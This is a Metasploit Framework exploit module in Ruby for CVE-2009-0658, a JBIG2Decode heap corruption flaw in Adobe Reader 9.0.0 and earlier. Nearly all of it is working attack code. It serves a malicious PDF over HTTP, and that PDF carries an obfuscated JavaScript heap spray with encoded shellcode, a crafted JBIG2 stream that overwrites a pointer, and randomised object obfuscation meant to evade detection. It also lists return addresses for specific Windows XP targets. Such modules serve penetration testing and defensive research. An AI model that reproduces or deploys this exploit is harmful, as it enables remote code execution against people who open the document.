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## # $Id: adobe_jbig2decode.rb 9525 2010-06-15 07:18:08Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'zlib' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Adobe JBIG2Decode Memory Corruption Exploit', 'Description'=> %q{ This module exploits a heap-based pointer corruption flaw in Adobe Reader 9.0.0 and earlier. This module relies upon javascript for the heap spray. }, 'License'=> MSF_LICENSE, 'Author' => [ # Metasploit implementation 'natron', # bl4cksecurity blog explanation of vuln [see References] 'xort', 'redsand', # obfuscation techniques and pdf template from util_printf 'MC', 'Didier Stevens <didier.stevens[at]gmail.com>', ], 'Version'=> '$Revision: 9525 $', 'References' => [ [ 'CVE' , '2009-0658' ], [ 'OSVDB', '52073' ], [ 'URL', 'http://bl4cksecurity.blogspot.com/2009/03/adobe-acrobatreader-universal-exploit.html'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload'=> { 'Space' => 1024, 'BadChars'=> "" }, 'Platform' => 'win', 'Targets'=> [ [ 'Adobe Reader v9.0.0 (Windows XP SP3 English)', { 'Ret' => 0x0166B550 } ], # Ret * 5 == 0x07018A90 (BIB.dll) [ 'Adobe Reader v8.1.2 (Windows XP SP2 English)', { 'Ret' => 0x9B004870 } ], # Ret * 5 == 0x07017A30 (BIB.dll) ], 'DisclosureDate' => 'Feb 19 2009', 'DefaultTarget'=> 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) return if ((p = regenerate_payload(cli)) == nil) # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) ptroverwrite = Rex::Text.to_unescape([target.ret].pack("V")) nops= Rex::Text.to_unescape(make_nops(4)) # Randomize some variables rand1 = rand_text_alpha(rand(50) + 1) rand2 = rand_text_alpha(rand(50) + 1) rand3 = rand_text_alpha(rand(50) + 1) rand4 = rand_text_alpha(rand(50) + 1) rand5 = rand_text_alpha(rand(50) + 1) rand6 = rand_text_alpha(rand(50) + 1) rand7 = rand_text_alpha(rand(50) + 1) rand8 = rand_text_alpha(rand(50) + 1) rand9 = rand_text_alpha(rand(50) + 1) rand10 = rand_text_alpha(rand(50) + 1) rand11 = rand_text_alpha(rand(50) + 1) rand12 = rand_text_alpha(rand(50) + 1) rand13 = rand_text_alpha(rand(50) + 1) rand14 = rand_text_alpha(rand(50) + 1) rand15 = rand_text_alpha(rand(50) + 1) rand16 = rand_text_alpha(rand(50) + 1) script = %Q| var #{rand1} = ""; var #{rand2} = ""; var #{rand3} = unescape("#{shellcode}"); var #{rand4} = ""; for (#{rand5}=128;#{rand5}>=0;--#{rand5}) #{rand4} += unescape("#{nops}"); #{rand6} = #{rand4} + #{rand3}; #{rand7} = unescape("#{nops}"); #{rand8} = 20; #{rand9} = #{rand8}+#{rand6}.length while (#{rand7}.length<#{rand9}) #{rand7}+=#{rand7}; #{rand10} = #{rand7}.substring(0, #{rand9}); #{rand11} = #{rand7}.substring(0, #{rand7}.length-#{rand9}); while(#{rand11}.length+#{rand9} < 0x40000) #{rand11} = #{rand11}+#{rand11}+#{rand10}; #{rand12} = new Array(); for (#{rand5}=0;#{rand5}<100;#{rand5}++) #{rand12}[#{rand5}] = #{rand11} + #{rand6}; for (#{rand5}=142;#{rand5}>=0;--#{rand5}) #{rand2} += unescape("#{ptroverwrite}"); #{rand13} = #{rand2}.length + 20 while (#{rand2}.length < #{rand13}) #{rand2} += #{rand2}; #{rand14} = #{rand2}.substring(0, #{rand13}); #{rand15} = #{rand2}.substring(0, #{rand2}.length-#{rand13}); while(#{rand15}.length+#{rand13} < 0x40000) #{rand15} = #{rand15}+#{rand15}+#{rand14}; #{rand16} = new Array(); for (#{rand5}=0;#{rand5}<175;#{rand5}++) #{rand16}[#{rand5}] = #{rand15} + #{rand2}; | eaxptr = "\x00\x20\x50\xff" # CALL DWORD PTR DS:[EAX+20] eaxp20ptr = "\x05\x69\x50\x50" # Shellcode location called by CALL DWORD PTR DS:[EAX+20] modifier = "\x00\x69\x00\x00" # ECX values seen: 02004A00, 033C9F58, 0338A228, 031C51F8, 0337B418 # natron@kubuntu-nkvm:~$ ./pdf-calc-val.rb 0x690000 # EAX: 0x690000 ECX: 0x2004a00 WriteAddr: 0xa3449ec # EAX: 0x690000 ECX: 0x358a228 WriteAddr: 0xb8ca214 jbig2stream = eaxptr + "\x40\x00" + modifier + eaxp20ptr # Create the pdf pdf = make_pdf(script, jbig2stream) print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, pdf, { 'Content-Type' => 'application/pdf', 'Content-Disposition' => 'Attachment' }) # handler(cli) end def RandomNonASCIIString(count) result = "" count.times do result << (rand(128) + 128).chr end result end def ioDef(id) "%d 0 obj" % id end def ioRef(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ def nObfu(str) result = "" str.scan(/./u) do |c| if rand(3) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] # Randomize the spaces and newlines elsif c == " " result << " " * (rand(3) + 1) if rand(2) == 0 result << "\x0d\x0a" result << " " * rand(2) end else result << c end end result end def ASCIIHexWhitespaceEncode(str) result = "" whitespace = "" str.each_byte do |b| result << whitespace << "%02x" % b whitespace = " " * (rand(3) + 1) end result << ">" end def make_pdf(js, jbig2) xref = [] eol = "\x0d\x0a" endobj = "endobj" << eol pdf = "%PDF-1.5" << eol pdf << "%" << RandomNonASCIIString(4) << eol xref << pdf.length pdf << nObfu(" ") << ioDef(1) << nObfu(" << /Type /Catalog /Outlines ") << ioRef(2) << nObfu(" /Pages ") << ioRef(3) << nObfu(" /OpenAction ") << ioRef(5) << " >> " << endobj xref << pdf.length pdf << nObfu(" ") << ioDef(2) << nObfu(" << /Type /Outlines /Count 0 >> ") << endobj xref << pdf.length pdf << nObfu(" ") << ioDef(3) << nObfu(" << /Type /Pages /Kids [ ") << ioRef(4) << nObfu(" ") << ioRef(7) << nObfu(" ] /Count 2 >> ") << endobj xref << pdf.length pdf << nObfu(" ") << ioDef(4) << nObfu(" << /Type /Page /Parent ") << ioRef(3) << nObfu(" /MediaBox [0 0 612 792 ] >> ") << endobj xref << pdf.length pdf << nObfu(" ") << ioDef(5) << nObfu(" << /Type /Action /S /JavaScript /JS ") + ioRef(6) + " >> " << endobj xref << pdf.length compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js), rand(5)+4) # Add random 4-9 compression level pdf << nObfu(" ") << ioDef(6) << nObfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode ] >>" % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol pdf << endobj xref << pdf.length pdf << nObfu(" ") << ioDef(7) << nObfu(" << /Type /Page /Parent ") << ioRef(3) << " /Contents [ " << ioRef(8) << " ] >> " << eol xref << pdf.length compressed = Zlib::Deflate.deflate(jbig2.unpack('H*')[0], rand(8)+1) # Convert to ASCII hex, then deflate using random 1-9 compression pdf << nObfu(" ") << ioDef(8) << nObfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode /JBIG2Decode ] >> " % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol pdf << endobj xrefPosition = pdf.length pdf << "xref" << eol pdf << "0 %d" % (xref.length + 1) << eol pdf << "0000000000 65535 f" << eol xref.each do |index| pdf << "%010d 00000 n" % index << eol end pdf << "trailer" << nObfu("<< /Size %d /Root " % (xref.length + 1)) << ioRef(1) << " >> " << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol pdf << "%%EOF" << eol end end |
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